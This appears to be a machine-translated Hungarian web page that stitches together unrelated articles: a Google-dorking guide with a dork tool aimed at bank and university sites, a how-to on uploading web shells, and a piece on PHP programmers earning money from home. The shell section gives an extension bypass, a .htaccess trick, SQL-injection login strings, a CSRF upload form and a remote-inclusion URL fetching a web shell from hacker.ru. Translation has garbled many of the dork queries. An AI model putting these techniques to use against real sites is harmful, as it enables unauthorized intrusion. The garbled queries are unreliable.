Shell" VAGY intitle:"phpRemoteView") `rwx` "uname" <br></td> </tr><tr><td width="168">Felhasználóneveket tartalmazó fájlok <br></td> <td width="190">Registry fájlok, konfigurációs fájlok, naplók, a bevitt parancsok előzményeit tartalmazó fájlok <br></td> <td width="284">Keresse meg az összes fiókinformációt tartalmazó regisztrációs fájlt: <br><i>fájltípus:reg reg +intext:"internetes fiókkezelő"</i><br></td> </tr><tr><td width="168">Érzékeny címtárak <br></td> <td width="190">Különféle információkat tartalmazó könyvtárak (személyes dokumentumok, vpn konfigurációk, rejtett adattárak stb.) <br></td> <td width="284">A VPN-hez kapcsolódó fájlokat tartalmazó összes könyvtárlista megkeresése: <br><i>"Config" intitle:"Index of" intext:vpn</i><br>Git tárolókat tartalmazó webhelyek: <br><i>(intext:"/.git indexe") ("szülőkönyvtár")</i><br></td> </tr><tr><td width="168">Webszerver észlelése <br></td> <td width="190">Verzió és egyéb információk a webszerverről <br></td> <td width="284">Keresse meg a JBoss szerver adminisztrációs konzoljait: <br><i>inurl:"/web-console/" intitle:"Felügyeleti konzol"</i><br></td> </tr><tr><td width="168">Sebezhető fájlok <br></td> <td width="190">Ismert sebezhetőséget tartalmazó szkriptek <br></td> <td width="284">Keressen olyan webhelyeket, amelyek olyan szkriptet használnak, amely lehetővé teszi tetszőleges fájl feltöltését a szerverről: <br><i>allinurl:forcedownload.php?file=</i><br></td> </tr><tr><td width="168">Sebezhető szerverek <br></td> <td width="190">Telepítési szkriptek, webhéjak, nyílt adminisztrációs konzolok stb. <br></td> <td width="284">Keresse meg a rootként futó PHPMyAdmin konzolokat: <br><i>intitle:phpMyAdmin "Üdvözli a phpMyAdmin ***" "a * root@* néven fut"</i><br></td> </tr><tr><td width="168">Hibaüzenetek <br></td> <td width="190">A különféle hibák és figyelmeztetések gyakran fontos információkat tárnak fel – a CMS verziójától a jelszavakig <br></td> <td width="284">Azok a webhelyek, amelyek hibásan hajtanak végre SQL-lekérdezéseket az adatbázisban: <br><i>"Figyelmeztetés: mysql_query()" "érvénytelen lekérdezés"</i><br></td> </tr><tr><td width="168">Lédús információkat tartalmazó fájlok <br></td> <td width="190">Tanúsítványok, biztonsági másolatok, e-mailek, naplók, SQL-szkriptek stb. <br></td> <td width="284">Inicializáló sql szkriptek keresése: <br><i>fájltípus:sql és „insert into” -site:github.com</i><br></td> </tr><tr><td width="168">Jelszavakat tartalmazó fájlok <br></td> <td width="190">Bármi, ami jelszavakat tartalmazhat - naplók, sql szkriptek stb. <br></td> <td width="284">A jelszavakat megemlítő naplók: <br><i>fájltípus:</i><i>log</i><i>szöveg:</i><i>jelszó |</i><i>pass |</i><i>pw</i><br>jelszavakat tartalmazó sql szkriptek: <br><i>ext:</i><i>sql</i><i>szöveg:</i><i>felhasználónév</i><i>szöveg:</i><i>Jelszó</i><br></td> </tr><tr><td width="168">Érzékeny online vásárlási információk <br></td> <td width="190">Internetes vásárlással kapcsolatos információk <br></td> <td width="284">PIN-kódok keresése: <br><i>dcid=</i><i>bn=</i><i>pin</i><i>kód=</i><br></td> </tr><tr><td width="168">Hálózati vagy sebezhetőségi adatok <br></td> <td width="190">A webes erőforráshoz közvetlenül nem kapcsolódó, de a hálózatot vagy más nem webes szolgáltatásokat érintő információk <br></td> <td width="284">Keresse meg a belső hálózattal kapcsolatos információkat tartalmazó automatikus proxykonfigurációs szkripteket: <br><i>inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl</i><br></td> </tr><tr><td width="168">Bejelentkezési portálokat tartalmazó oldalak <br></td> <td width="190">Bejelentkezési űrlapokat tartalmazó oldalak <br></td> <td width="284">saplogon weboldalak: <br><i>intext:"2016 SAP AG. Minden jog fenntartva." cím: "Bejelentkezés"</i><br></td> </tr><tr><td width="168">Különféle online eszközök <br></td> <td width="190">Nyomtatók, útválasztók, felügyeleti rendszerek stb. <br></td> <td width="284">Keresse meg a nyomtató konfigurációs paneljét: <br><i>cím:"</i><i>hp</i><i>lézersugár"</i><i>inurl:</i><i>SSI/</i><i>Auth/</i><i>készlet_</i><i>config_</i><i>eszköz információ.</i><i>htm</i><br></td> </tr><tr><td width="168">Tanácsok és sebezhetőségek <br></td> <td width="190">Webhelyek a sebezhető CMS-verziókon <br></td> <td width="284">Keressen sebezhető beépülő modulokat, amelyeken keresztül tetszőleges fájlt tölthet fel a szerverre: <br><i>inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled</i><br></td> </tr></tbody></table><br>A Dorks gyakrabban összpontosít az összes internetes oldalon való keresésre. De semmi sem akadályozza meg, hogy korlátozza a keresési hatókört bármely webhelyen vagy webhelyeken. <br>Minden Google-lekérdezés egy adott webhelyre fókuszálható, ha hozzáadja a „site:somesite.com” kulcsszót a lekérdezéshez. Ez a kulcsszó bármelyik dorkhoz hozzáadható. <p><b>A sebezhetőségek keresésének automatizálása</b><br>Így született meg az ötlet, hogy írjunk egy egyszerű segédprogramot, amely keresőmotor (google) segítségével automatizálja a sebezhetőségek keresését, és a Google Hack Database-ra támaszkodik.</p><p>A segédprogram egy phantomjs használatával nodejs-ben írt szkript. Hogy pontosak legyünk, a szkriptet maga a phantomjs értelmezi. <br>A Phantomjs egy teljes értékű webböngésző grafikus felhasználói felület nélkül, js kóddal és kényelmes API-val vezérelhető. <br>A segédprogram teljesen érthető nevet kapott - dorks. A parancssorban (opciók nélkül) futtatva rövid segítséget kapunk több használati példával: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/edd/6fb/ccc/edd6fbccc5ec340abe750f3073c1b427.jpg' width="100%" loading=lazy loading=lazy><br>1. ábra - A fő dorks opciók listája</p><p>A segédprogram általános szintaxisa: dork „parancs” „opciólista”. <br>Az összes lehetőség részletes leírása a 4. táblázatban található.</p><p>4. táblázat – Dorks szintaxis <br></p><table border="1"><tbody><tr><td width="214"><b>Csapat</b><br></td> <td width="214"><b>választási lehetőség</b><br></td> <td width="214"><b>Leírás</b><br></td> </tr><tr><td rowspan="4" width="214">ghdb <br></td> <td width="214">-l <br></td> <td width="214">Nyomtassa ki a dork kategóriák számozott listáját Google Hack Database <br></td> </tr><tr><td width="214">-c „kategóriaszám vagy név” <br></td> <td width="214">A megadott kategóriájú rakodóajtók száma vagy név szerint <br></td> </tr><tr><td width="214">-q "kifejezés" <br></td> <td width="214">Kérésre talált dorks letöltése <br></td> </tr><tr><td width="214">-o "fájl" <br></td> <td width="214">Az eredmény mentése fájlba (csak a -c|-q kapcsolókkal) <br></td> </tr><tr><td rowspan="8" width="214">Google <br></td> <td width="214">-d "dork" <br></td> <td width="214">Állítson be tetszőleges dorkot (az opció sokszor használható, a -D opcióval kombinálva megengedett) <br></td> </tr><tr><td width="214">-D "fájl" <br></td> <td width="214">Használja a dokkokat fájlból <br></td> </tr><tr><td width="214">-s "webhely" <br></td> <td width="214">Hely beállítása (az opció többször használható, a -S opcióval kombinálva megengedett) <br></td> </tr><tr><td width="214">-S "fájl" <br></td> <td width="214">Webhelyek használata fájlból (a dorks minden webhelyet külön-külön megkeres) <br></td> </tr><tr><td width="214">-f "szűrő" <br></td> <td width="214">További kulcsszavak beállítása (minden dorkhoz hozzáadva) <br></td> </tr><tr><td width="214">-t "ms száma" <br></td> <td width="214">A google-hoz intézett kérések közötti intervallum <br></td> </tr><tr><td width="214">-T "ms száma" <br></td> <td width="214">Időtúllépés captcha észlelésekor <br></td> </tr><tr><td width="214">-o "fájl" <br></td> <td width="214">Mentse el az eredményt egy fájlba (csak azok a sávok kerülnek mentésre, amelyekhez találtak valamit) <br></td> </tr></tbody></table><br>A ghdb paranccsal tetszőleges kéréssel lekérheti az exploit-db összes dorkját, vagy megadhatja a teljes kategóriát. Ha a 0-ás kategóriát adjuk meg, akkor a teljes adatbázis kiürül (kb. 4,5 ezer dork). <p>A jelenleg elérhető kategóriák listája a 2. ábrán látható. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/b8f/b11/ffe/b8fb11ffeaced5066fd2fd9e43be67fb.jpg' width="100%" loading=lazy loading=lazy></p><p>2. ábra – Az elérhető GHDB dork kategóriák listája</p><p>A Google csapata minden dorkot behelyettesít a Google keresőjébe, és elemzi az eredményeket a találatok keresésére. Az elérési utak, ahol valamit találtak, fájlba kerülnek. <br>A segédprogram különböző keresési módokat támogat: <br>1 dork és 1 telephely; <br>1 dork és sok helyszín; <br>1 telephely és sok dork; <br>sok helyszín és sok dork; <br>A dokok és helyek listája argumentum vagy fájl segítségével megadható.</p><p><b>A munka bemutatása</b><br>Próbáljuk meg megkeresni az esetleges sebezhetőségeket a hibaüzenetek keresésének példájával. Paranccsal: dorks ghdb –c 7 –o errors.dorks a „Hibaüzenetek” kategória összes ismert dorkja betöltődik a 3. ábrán látható módon. <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/28c/386/641/28c386641d1528652f7f8e8b8089097a.jpg' width="100%" loading=lazy loading=lazy><br>3. ábra – A „Hibaüzenetek” kategória összes ismert dokkolójának betöltése</p><p>A Dorks letöltődik és fájlba kerül. Most már csak az van hátra, hogy „beállítsuk” őket valamelyik oldalon (lásd 4. ábra). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/8e0/a8a/3af/8e0a8a3af4f26544da1faa584813dbff.jpg' width="100%" loading=lazy loading=lazy><br>4. ábra – Az érdeklődésre számot tartó webhely sebezhetőségeinek keresése a Google gyorsítótárában</p><p>Egy idő után a vizsgált oldalon több hibát tartalmazó oldal is felfedezésre kerül (lásd 5. ábra).</p><p><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/10b/e83/ba3/10be83ba38f172213ba06b3f9ad05a58.jpg' width="100%" loading=lazy loading=lazy><br>5. ábra – Hibaüzenetek találhatók</p><p>Ennek eredményeként az result.txt fájlban teljes listát kapunk a hibához vezető dorkokról. <br>A 6. ábra a webhelyhibák keresésének eredményét mutatja. <br><br>6. ábra – Hibakeresés eredménye</p><p>A dork gyorsítótárában egy teljes visszakövetés jelenik meg, amely felfedi a szkriptek abszolút elérési útját, a webhely tartalomkezelő rendszerét és az adatbázis típusát (lásd a 7. ábrát). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/0a9/455/588/0a9455588496d6609f5e13d598cb5a48.jpg' width="100%" loading=lazy loading=lazy><br>7. ábra – a helyszín tervezésével kapcsolatos információk közzététele</p><p>Érdemes azonban megfontolni, hogy nem minden GHDB dork ad valódi eredményeket. Ezenkívül előfordulhat, hogy a Google nem talál pontos egyezést, és hasonló eredményt jelenít meg.</p><p>Ebben az esetben bölcsebb a saját dorkok listáját használni. Például mindig érdemes „szokatlan” kiterjesztésű fájlokat keresni, amelyekre a 8. ábrán mutatunk példákat. <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/d7f/865/693/d7f865693f7fcf13137598eeed0ecb58.jpg' width="100%" loading=lazy loading=lazy><br>8. ábra – A szokásos webes erőforrásokra nem jellemző fájlkiterjesztések listája</p><p>Ennek eredményeként a dorks google –D extensions.txt –f bank paranccsal a Google már az első kéréstől kezdve elkezdi visszaadni a „szokatlan” fájlkiterjesztésű webhelyeket (lásd 9. ábra). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/107/e1f/a2f/107e1fa2f41c4169bcc254cba2f2f4b6.jpg' width="100%" loading=lazy loading=lazy><br>9. ábra – „Rossz” fájltípusok keresése banki webhelyeken</p><p>Érdemes szem előtt tartani, hogy a Google nem fogad el 32 szónál hosszabb lekérdezéseket.</p><p>A dorks google –d intext:”error|warning|notice|syntax” –f egyetem paranccsal <br>A PHP-tolmács hibákat oktatási webhelyeken keresheti (lásd a 10. ábrát). <br><br><img src='https://i2.wp.com/habrastorage.org/getpro/habr/post_images/717/74f/e36/71774fe3656bfc058c42d43262fdec4a.jpg' width="100%" loading=lazy loading=lazy><br>10. ábra – PHP futásidejű hibák keresése</p><p>Néha nem kényelmes egy vagy két fajta dork használata. <br>Például, ha ismert, hogy az oldal Wordpress motoron fut, akkor WordPress-specifikus modulokra van szükségünk. Ebben az esetben kényelmes a Google Hack Database keresés használata. A dorks ghdb –q wordpress –o wordpress_dorks.txt parancs letölti az összes dorkot a Wordpressről, ahogy az a 11. ábrán látható: <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/dcb/ac9/a4e/dcbac9a4eb12f6ec775d9cccc2fdee87.jpg' width="100%" loading=lazy loading=lazy><br>11. ábra – Wordpress-hez kapcsolódó Dorks keresése</p><p>Térjünk vissza ismét a bankokhoz, és a dorks google –D wordpress_dords.txt –f bank paranccsal próbáljunk valami érdekeset találni a Wordpress-szel kapcsolatban (lásd 12. ábra). <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/042/0c2/c43/0420c2c435931704288b171f725ccc6a.jpg' width="100%" loading=lazy loading=lazy><br>12. ábra – Wordpress biztonsági résének keresése</p><p>Érdemes megjegyezni, hogy a Google Hack Database keresése nem fogad el 4 karakternél rövidebb szavakat. Például, ha a webhely CMS-je nem ismert, de a nyelv ismert - PHP. Ebben az esetben a cső és a rendszerkereső segédprogram segítségével manuálisan szűrheti, amire szüksége van. dorks –c all | findstr /I php > php_dorks.txt (lásd 13. ábra): <br><br><img src='https://i1.wp.com/habrastorage.org/getpro/habr/post_images/4c1/2f8/6e1/4c12f86e111074293c14d6a939c6ebab.jpg' width="100%" loading=lazy loading=lazy><br>13. ábra – Keresse meg az összes dorkot, ahol a PHP szerepel</p><p>Sebezhetőségek vagy érzékeny információk keresése a keresőmotorban csak akkor végezhető el, ha ezen az oldalon jelentős index található. Például, ha egy webhelyen 10-15 oldal van indexelve, akkor hülyeség bármit is így keresni. Az index méretének ellenőrzése egyszerű – csak írja be a „site:somesite.com” kifejezést a Google keresősávjába. Példa egy elégtelen indexű webhelyre a 14. ábrán. <br><br><img src='https://i0.wp.com/habrastorage.org/getpro/habr/post_images/78e/1db/b4f/78e1dbb4fc78cd422cec311fc2ca9d33.jpg' width="100%" loading=lazy loading=lazy><br>14. ábra – A webhelyindex méretének ellenőrzése</p><p>Most a kellemetlenről... A Google időről időre kérhet captcha-t - ez ellen nem tudsz mit tenni - meg kell majd adni. Például a „Hibaüzenetek” kategória (90 dorks) közötti kereséskor a captcha csak egyszer jelent meg.</p><p>Érdemes hozzátenni, hogy a phantomjs támogatja a proxy-n keresztüli munkát is, mind a http, mind a socks felületen keresztül. A proxy mód engedélyezéséhez törölnie kell a megfelelő sort a dorks.bat vagy a dorks.sh fájlból.</p><p>Az eszköz forráskódként érhető el</p> <br>Ebben a cikkben a shell webhelyre való feltöltésének leggyakrabban használt módszereiről szeretnék beszélni. <b>Web-shell</b> egyfajta rosszindulatú szkript (program), amellyel a támadók webhelyeket vagy szervereket irányítanak. <p><b>1. módszer</b><br>Keressen egy űrlapot a weboldalon fájlok/képek feltöltéséhez. Tegyük fel, hogy nem tudtuk feltörni az oldal adminisztrációs paneljét, és megpróbáljuk elárasztani a héjunkat <b>kiterjesztés.php.jpg .</b> Ha sikerült, a kép helyett egy fehér ablakot fogunk látni, jobb gombbal kattintunk és követjük a hivatkozást. Meghibásodás esetén használhatjuk a chrome kiterjesztést <b>szabotázs adatok</b>. Lehetővé teszi, hogy tetszés szerint elkapja és módosítsa a kérést. Ha a webhely ellenőrzi a fájl kiterjesztését, akkor először feltölthetjük <b>.htaccess</b> tartalommal rendelkező fájl: <br>AddType alkalmazás/x-httpd-php .jpg <br>Ez a parancs a jpg fájlokat php formátumban hajtja végre. <br><b>Részletes videó utasítások:</b><br></p><p><span class="imp1oe54JeQ"></span></p><p>Videós utasítások ehhez <b>szabotázs adatok telepítése:</b><br></p><p><span class="JA5K4KJ0NCc"></span></p><br><b>2. módszer</b><br>A program segítségével kereshet adminisztrációs paneleket a webhelyen - https://github.com/bdblackhat/admin-panel-finder. Ha a program megtalálta az adminisztrációs panelt, megpróbálhatjuk az sql-injection-t. Az oldal bejelentkezési és jelszó mezőjébe beírjuk a kódot: <br><p>" vagy "1"="1 " VAGY 1=1/*</p><p>Ha működik, akkor eljutunk az adminisztrációs panelre és <b>Az 1. módszer szerint járunk el.</b> Ha nincs sql-injection az adminisztrációs panelen a webhelyen, akkor megpróbálhatjuk a hibakeresést, vagy kereshetünk egy exploitot ehhez a CMS-hez. <br><b>Részletes videó utasítások:</b><br></p><p><span class="5Kh5gCr_3rc"></span></p><br><b>3. módszer</b><br>A 3. módszerben magán a webhelyen fogjuk keresni az sql-injekciót. Ezt megtehetjük manuálisan vagy az sqlmap segítségével. A fórumon elég téma van az injekciók beadásáról, úgyhogy messziről jövök. Tehát most már találtunk egy táblázatot a rendszergazda bejelentkezési nevével és jelszavával, dekódoljuk a hash-eket, menjünk az adminisztrációs panelre, és örüljünk. De tegyük fel, hogy nem tudtuk visszafejteni a jelszót, és minden rosszul ment, akkor ellenőriznünk kell a felhasználó jogosultságait <b>. </b> Ellenőrizzük a jogosultságokat, és betöltjük a mini shellt. <b>Valamilyen oknál fogva, amikor be akarom illeszteni a kódot, a webhely hibát jelez.</b><p><b>4. módszer</b><br>A 4. módszer csrf támadást tartalmaz. Az alábbi kódban cserélnünk kell <b>http://</b> a céllinkre. <b>Válassza ki a shellt</b>és nyomja meg a gombot <b>feltölteni.</b><br></p><p> <form method="POST" action="http://" enctype="multipart/form-data" > <input type="file" name="Filedata"></center><br> <input type="submit" name="Submit" value="Feltöltés"> </form></p><p><span class="FXOjzV5I1Cc"></span></p><br><b>5. módszer</b><br>Tudjon meg többet a célpontjáról, és keressen egy kizsákmányolást. Van erre egy nagyon érdekes weboldal - https://www.exploit-db.com. A sebezhetőségeken keresztül a webhelyek tömeges feltörését még senki sem mondta le, de az űrlapon már van cikk erről. <p>A héj kitöltésének sokkal több módja van, és nincs értelme mindegyikről beszélni. Ha gyakorolni szeretne, telepítse a dvwa-t – ez egy olyan program, amelynek célja, hogy segítse a biztonsági szakembereket, hogy jogi környezetben tesztelhessék képességeiket és eszközeiket.</p><p><b>6. módszer <br><b>Php injekció</b>- ez egy webhely elleni támadás, amikor a támadó beadja a PHP kódját a megtámadott PHP alkalmazásba.</b><br>www.site.ru?page=home.html <br>A parancs végrehajtásával betöltjük a home,html oldalt. Most megpróbálunk betölteni egy rosszindulatú parancsértelmezőt. <br>www.site.ru?page=http://hacker.ru/webshell.php <br>Dork: <b>Inurl:oldal=</b></p><p>Arra is van mód, hogy egy már betöltött shellt perl használatával találjunk meg</p> <p> » </p><h1>Hogyan kereshet jó pénzt otthon egy PHP programozó?</h1><p>A legtöbb sikeres PHP programozó jó pénzt keres otthonról. Bármilyen bevétel kezdetén nehézségek merülnek fel. Előfordul, hogy a nehézségek és a kereseti módszerek ismeretének hiánya eltántorít minden otthoni pénzkereseti vágyat, majd a programozók keresik a lehetőséget az irodai munkavégzésre, ahol nagyobb a garancia, hogy minden hónapban pénzt lehet kapni, és a szakmai fejlődés is lehetséges.</p><p>Az otthoni munkavégzésnek azonban több előnye van, mint hátránya.</p><h3>profik</h3><p>Magadnak fogsz dolgozni. Senki nem bocsát ki, a saját időbeosztásodat vagy a munkádat akkor oszthatod ki, amikor akarod.</p><p>Ön kiválasztja magának a pénzkeresés módját programozással, ami egyrészt növeli érdeklődését a munka iránt, másrészt nagy cselekvési szabadságot élvez. Nem kell azon dolgoznod, amit nem szeretsz. Több lehetőség kínálkozik a pénzszerzési módok kombinálására is.</p><h3>Mínuszok</h3><p>Eleinte nehéz lesz, és ahhoz, hogy megkapja az első pénzt a munkájáért, sok erőfeszítést és időt kell befektetnie. És ahhoz, hogy profit legyen, folyamatosan fejlődnie kell, türelmesnek kell lennie, és helyesen kell elosztania az ütemezést, hogy elegendő ideje legyen a munka időben történő elvégzésére.</p><h3>Pénzt keresni a forgatókönyveivel</h3><p>Az interneten számos különféle szkript található, amelyeket az emberek könnyen letölthetnek és telepíthetnek webhelyükre. Megírhatja saját egyedi forgatókönyvét, és két lehetőség közül választhat, hogyan kereshet pénzt forgatókönyvével. Adja el vagy tegye közzé fájlmegosztó szolgáltatásokon keresztül. Két lehetőséget is használhat. Például könnyű szkriptek, de ugyanakkor nagyon fontos, hogy a fájlmegosztó szolgáltatásokon keresztül pontosan azokat a szkripteket helyezzük el, amelyekre nagy kereslet lesz. Ehhez a szkriptekre keresletnek kell lennie, hogy az emberek a saját igényeiknek megfelelően letölthessék őket.</p><p>A nagy szkriptek elfogadható áron eladhatók. Feladhat hirdetést a fórumokon, vagy ha van saját személyes blogja vagy weboldala, feladhat egy hirdetést scriptek eladásáról.</p><p>Mindenesetre, függetlenül attól, hogy melyik lehetőséget választja, helyezze el a szkriptet az archívumban, és feltétlenül mellékelje hozzá a részletes utasításokat és a kapcsolatfelvételi adatokat magáról. Mindenképpen adj támogatást, mert neked fontos, hogy magadért dolgozz. Végül is ajánlani kell, vagy le kell töltenie a szkripteket. Kiváló minőségűnek kell lenniük. Ha valaki segítséget kér, udvariasan magyarázza el neki a forgatókönyvet, vagy segítsen neki telepíteni. A szkriptekhez megjegyzéseket kell tartalmazniuk. Az egyes funkciók miért felelősek stb. Hiszen az ember könnyen összezavarodhat a kódodban, ahol nincsenek jelölések.</p><h3>Saját és közös projektek</h3><p>A sikeres pénzkereset érdekében érdemes saját weboldalt létrehozni. Számos lehetőség kínálkozik arra, hogy pénzt keressen webhelyével. Ha jól reklámozod, akkor ott forgatókönyveket rakhatsz ki eladásra. Az együttműködési projektek kibővítik képességeit, ami jót tesz az otthoni programozás sikerének. Ezért keressen partnereket, vagy ne utasítsa el az ajánlatokat egy közös projekt létrehozására.</p><p>Ügyeljen arra, hogy olyan funkciókat adjon hozzá webhelyéhez, amelyek felkeltik a figyelmet. Az oldal lehet szabályos, egyszerű megjelenésű, de ugyanakkor saját csavarral. Egy személyes weboldal segít növelni az ügyfelek számát. Látni fogják, hogyan működnek a szkriptek, ha nem tart túl sokáig a betöltődésük, érdekesek-e a használatuk, és ami a legfontosabb, eredetiek, minden máshoz képest. Akkor megtalálod a sikert.</p><h3>Megrendelésekből származó bevétel</h3><p>Ehhez csak regisztráljon különböző szabadúszói tőzsdéken, és keressen megrendeléseket. Mutassa be az elkészült munkák portfólióját. De vigyázz, vannak becstelen emberek a világon, és hogy ne dőlj be a megtévesztésnek, először mutasd meg azt a munkát, ami a szervereden található (egyébként ebben az esetben vps-t kell bérelni http:/ /nkvd.pro/vps/), majd ha kifizetik a részét, akkor a felét át kell vinni a szerverükre, és ugyanezt tenni a második résszel. Ez a pénzkereseti módszer nyereségesnek tekinthető, de tudásának és készségeinek mértékétől függ. Ez az ügyfelek visszajelzésétől is függ. Ahhoz, hogy ez a pénzkereseti módszer sikeres legyen, végezze el a munkát becsületesen és hatékonyan. Tudnia kell kommunikálni az ügyfelekkel, világosan el kell magyaráznia, mit tehet és mit nem.</p><p>Ez nem a php programozó bevételeinek teljes listája, de a fent leírt pénzkereseti módszereknek köszönhetően már pénzt kereshet anélkül, hogy elhagyná otthonát. A kezdeti szakaszban ez nagy eredmény lesz. A lényeg, hogy ne álljunk meg itt. Folyamatosan javítson és hozzon létre olyan projekteket, amelyek nemcsak jó bevételt, hanem örömet is hoznak Önnek.</p> <br><b>A szerzőről</b> <br><p>Hogyan kereshet jó pénzt otthon egy PHP programozó?</p> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast_after?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy loading=lazy>");</script> </div> </article> <div class="related_block"> <div class="title">Kapcsolódó kiadványok</div> <ul class="recent_ul"> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/64b7401db355528459e6d4f88f75db81.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/hu/chto-novogo-poluchil-stabilizator-zhiyun-crane-plus-tr-hosevoi.html">Háromtengelyes elektronikus stabilizátor Zhiyun Crane Plus (2018) Time-lapse felvételi funkció mozgás közben</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/84de9f3731f3979985fb57b66b81bd5d.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/hu/kak-vklyuchit-vse-yadra-kak-vklyuchit-vse-yadra-processora-kak-vklyuchit.html">Az összes processzormag engedélyezése Az összes processzor engedélyezése Windows 10 rendszeren</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/79844ffc013d287bb7adc7f3dabe3e13.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/hu/jbl-go-ne-rabotaet-obzor-besprovodnoi-kolonki-jbl-go-plyusy-i-minusy-jbl.html">JBL Go vezeték nélküli hangszóró értékelés</a></li> </ul> </div> </div> <aside id="sidebar"> <div class="block"> <nav class="sidebar_menu"> <div class="menu-sidebar_menu-container"> <ul id="menu-sidebar_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/programs/">Programok</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/windows/">ablakok</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/devices/">Eszközök</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/browsers/">Böngészők</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/reviews/">Vélemények</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/reviews/">Vélemények</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/setup/">Beállítások</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/torrent/">Torrent</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/editors/">Szerkesztők</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/instagram/">Instagram</a></li> </ul> </div> </nav> </div> <div class="block recent_block"> <div class="title">Az utolsó jegyzetek</div> <ul class="popular"> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/95236f72f3e17d8b09868145a5ad3403.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="A FlashFire egy új alkalmazás az Android frissítéséhez a gyökér elvesztése nélkül" / loading=lazy loading=lazy> <span class="cat">Programok</span></div> <a href="https://storerarity.ru/hu/root-sletaet-flashfire-novoe-prilozhenie-dlya-obnovleniya-android-bez-utraty-ruta-poteryayu.html">A FlashFire egy új alkalmazás az Android frissítéséhez a gyökér elvesztése nélkül</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/e2b88b416324d601a10ad22e6eb523e9.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="A telefon vezérlése a számítógépről" / loading=lazy loading=lazy> <span class="cat">Programok</span></div> <a href="https://storerarity.ru/hu/peredacha-ekrana-mobilnika-na-kompyuter-upravlenie-telefonom-s-kompyutera.html">A telefon vezérlése a számítógépről</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/08ff898ce3f043c159e55cbc5f956187.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="A Xiaomi vezeték nélküli kijelző beállítása" / loading=lazy loading=lazy> <span class="cat">Programok</span></div> <a href="https://storerarity.ru/hu/besprovodnoi-displei-xiaomi-kak-nastroit-noutbuk-kak-nastroit.html">A Xiaomi vezeték nélküli kijelző beállítása</a></li> </ul> </div> </aside> </div> </div> <div class="clear"></div> <footer id="footer"><div class="wrapper"> <div class="copy">2024 | Számítógépek mindenkinek – Beállítás, telepítés, helyreállítás</div> <nav class="header_menu"> <div class="menu-footer_menu-container"> </div> </nav> </div></footer> <div id="toTop"></div> <script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js'></script> <nav class="mobile_menu"> <div class="close_menu"></div> <div class="mob_menu"> <div class="menu-mobile_menu-container"> <ul id="menu-mobile_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/programs/">Programok</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/windows/">ablakok</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/devices/">Eszközök</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/browsers/">Böngészők</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hu/category/reviews/">Vélemények</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category 